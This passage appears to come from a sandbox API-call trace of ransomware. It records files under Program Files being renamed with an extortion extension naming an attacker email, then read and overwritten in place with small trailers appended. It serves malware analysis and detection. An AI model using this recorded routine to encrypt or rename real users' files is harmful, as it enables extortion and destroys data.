Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\THMBNAIL.PNG", len=0x70 | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\THMBNAIL.PNG") returned 1 [0256.916] GetProcessHeap () returned 0x630000 [0256.916] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ce0) returned 0x6fe3bb0 [0256.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0257.280] CloseHandle (hObject=0x40c) returned 1 [0257.280] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.281] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.281] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.281] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5200 [0257.282] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0257.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0257.282] GetProcessHeap () returned 0x630000 [0257.282] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7393dd0 [0257.283] GetProcessHeap () returned 0x630000 [0257.283] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x739f200 [0257.283] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.283] ReadFile (in: hFile=0x40c, lpBuffer=0x7393dd0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7393dd0*, lpNumberOfBytesRead=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0263.435] GetProcessHeap () returned 0x630000 [0263.435] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0263.435] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.435] WriteFile (in: hFile=0x40c, lpBuffer=0x739f200*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x739f200*, lpNumberOfBytesWritten=0x313ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0263.436] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.436] WriteFile (in: hFile=0x40c, lpBuffer=0x73aa5ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73aa5ff*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0263.436] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.436] WriteFile (in: hFile=0x40c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0263.437] CloseHandle (hObject=0x40c) returned 1 [0263.437] GetProcessHeap () returned 0x630000 [0263.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x739f200 | out: hHeap=0x630000) returned 1 [0263.437] GetProcessHeap () returned 0x630000 [0263.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7393dd0 | out: hHeap=0x630000) returned 1 [0263.437] GetProcessHeap () returned 0x630000 [0263.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0263.437] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0263.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x62f7c161, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xed58, dwReserved0=0xc3c7496, dwReserved1=0x7393dc8, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4e00 [0263.438] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0263.438] Sleep (dwMilliseconds=0x1) [0264.592] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", len=0x7a | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned 1 [0264.593] GetProcessHeap () returned 0x630000 [0264.593] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c30) returned 0x6fe3bb0 [0264.593] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.595] Sleep (dwMilliseconds=0x1) [0264.612] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\CallMDL2.ttf", len=0x65 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\CallMDL2.ttf") returned 1 [0264.612] GetProcessHeap () returned 0x630000 [0264.612] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c80) returned 0x6fe3bb0 [0264.612] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\CallMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\callmdl2.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.616] Sleep (dwMilliseconds=0x1) [0264.640] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\Square71x71Logo.scale-100.png", len=0x7b | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\Square71x71Logo.scale-100.png") returned 1 [0264.640] GetProcessHeap () returned 0x630000 [0264.640] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d58) returned 0x6fe3bb0 [0264.640] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\Square71x71Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\assets\\square71x71logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.647] Sleep (dwMilliseconds=0x1) [0264.660] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", len=0x75 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned 1 [0264.660] GetProcessHeap () returned 0x630000 [0264.660] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d2c) returned 0x6fe3bb0 [0264.660] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.660] Sleep (dwMilliseconds=0x1) [0264.682] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-16.png", len=0x75 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-16.png") returned 1 [0264.682] GetProcessHeap () returned 0x630000 [0264.682] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cd0) returned 0x6fe3bb0 [0264.682] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail1.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail1.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.687] Sleep (dwMilliseconds=0x1) [0264.737] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-20.png", len=0x74 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-20.png") returned 1 [0264.737] GetProcessHeap () returned 0x630000 [0264.737] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cbc) returned 0x6fe3bb0 [0264.737] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail.targetsize-20.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.745] Sleep (dwMilliseconds=0x1) [0264.754] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-38.png", len=0x75 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-38.png") returned 1 [0264.754] GetProcessHeap () returned 0x630000 [0264.754] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c7c) returned 0x6fe3bb0 [0264.754] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-38.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall.targetsize-38.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.757] Sleep (dwMilliseconds=0x1) [0264.766] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1SmallTileThin.scale-200.png", len=0x82 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1SmallTileThin.scale-200.png") returned 1 [0264.766] GetProcessHeap () returned 0x630000 [0264.766] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c68) returned 0x6fe3bb0 [0264.766] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemail1SmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemail1smalltilethin.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.768] Sleep (dwMilliseconds=0x1) [0264.792] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1SmallTileThin.scale-200.png", len=0x79 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1SmallTileThin.scale-200.png") returned 1 [0264.792] GetProcessHeap () returned 0x630000 [0264.792] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c2c) returned 0x6fe3bb0 [0264.792] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Base1SmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\base1smalltilethin.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.792] Sleep (dwMilliseconds=0x1) [0264.799] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\THMBNAIL.PNG", len=0x6e | out: pbstr=0x313ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\THMBNAIL.PNG") returned 1 [0264.799] GetProcessHeap () returned 0x630000 [0264.799] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c18) returned 0x6fe3bb0 [0264.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0264.800] CloseHandle (hObject=0x714) returned 1 [0264.800] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.800] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0264.923] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0264.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fc6c | out: lpFindFileData=0x313fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bfc670, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bfc670, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bfc670, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5280 [0264.923] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0264.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\arctic\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0264.923] GetProcessHeap () returned 0x630000 [0264.923] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4d61) returned 0x6f0a338 [0264.924] GetProcessHeap () returned 0x630000 [0264.924] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4d61) returned 0x7128660 [0264.924] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.924] ReadFile (in: hFile=0x714, lpBuffer=0x6f0a338, nNumberOfBytesToRead=0x4d40, lpNumberOfBytesRead=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0a338*, lpNumberOfBytesRead=0x313ff0c*=0x4d40, lpOverlapped=0x0) returned 1 [0266.857] GetProcessHeap () returned 0x630000 [0266.857] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0266.857] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.857] WriteFile (in: hFile=0x714, lpBuffer=0x7128660*, nNumberOfBytesToWrite=0x4d40, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7128660*, lpNumberOfBytesWritten=0x313ff0c*=0x4d40, lpOverlapped=0x0) returned 1 [0266.858] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.858] WriteFile (in: hFile=0x714, lpBuffer=0x712d39f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x712d39f*, lpNumberOfBytesWritten=0x313ff0c*=0x20, lpOverlapped=0x0) returned 1 [0266.858] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.858] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x313ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x313ff0c*=0x4, lpOverlapped=0x0) returned 1 [0266.858] CloseHandle (hObject=0x714) returned 1 [0266.858] GetProcessHeap () returned 0x630000 [0266.858] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7128660 | out: hHeap=0x630000) returned 1 [0266.858] GetProcessHeap () returned 0x630000 [0266.858] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f0a338 | out: hHeap=0x630000) returned 1 [0266.858] GetProcessHeap () returned 0x630000 [0266.858] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0266.858] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x313ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.859] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ARCTIC\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x313fcc4 | out: lpFindFileData=0x313fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bfc670, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bfc670, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x65031547, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4d68, dwReserved0=0xc3c7496, dwReserved1=0x6f0a330, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5380 [0266.859] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0266.859] Sleep (dwMilliseconds=0x1) [0268.904] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20_altform-unplated.png", len=0x95 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20_altform-unplated.png") returned 1 [0268.904] GetProcessHeap () returned 0x630000 [0268.904] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4be8) returned 0x6fe3bb0 [0268.904] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\apppackageapplist.targetsize-20_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.905] Sleep (dwMilliseconds=0x1) [0268.919] SysReAllocStringLen (in: pbstr=0x313ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20.png", len=0x84 | out: pbstr=0x313ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\AppPackageAppList.targetsize-20.png") returned 1 [0268.919] GetProcessHeap () returned 0x630000 [0268.919] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4be4) returned 0x6fe3bb0 [0268.919] CreateFileW (lpFileName="C:\\Program 